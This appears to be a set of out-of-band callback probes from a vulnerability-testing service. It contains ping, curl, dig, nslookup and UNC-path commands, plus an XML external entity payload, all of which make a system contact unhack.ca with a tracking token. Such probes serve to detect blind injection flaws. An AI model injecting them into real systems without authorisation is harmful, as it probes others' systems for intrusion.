$ ping -c1 -p 0043d033142fdf604170077a42d12c00 unhack.ca
 

$ curl http://unhack.ca/p/43d033142fdf604170077a42d12c
 

$ dig 43d033142fdf604170077a42d12c @unhack.ca
 

$ dig 43d033142fdf604170077a42d12c.ns.unhack.ca
 

C:\> nslookup 43d033142fdf604170077a42d12c unhack.ca
 

C:\> type \\unhack.ca\43d033142fdf604170077a42d12c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/43d033142fdf604170077a42d12c">]>
    <foo>&xxe;</foo>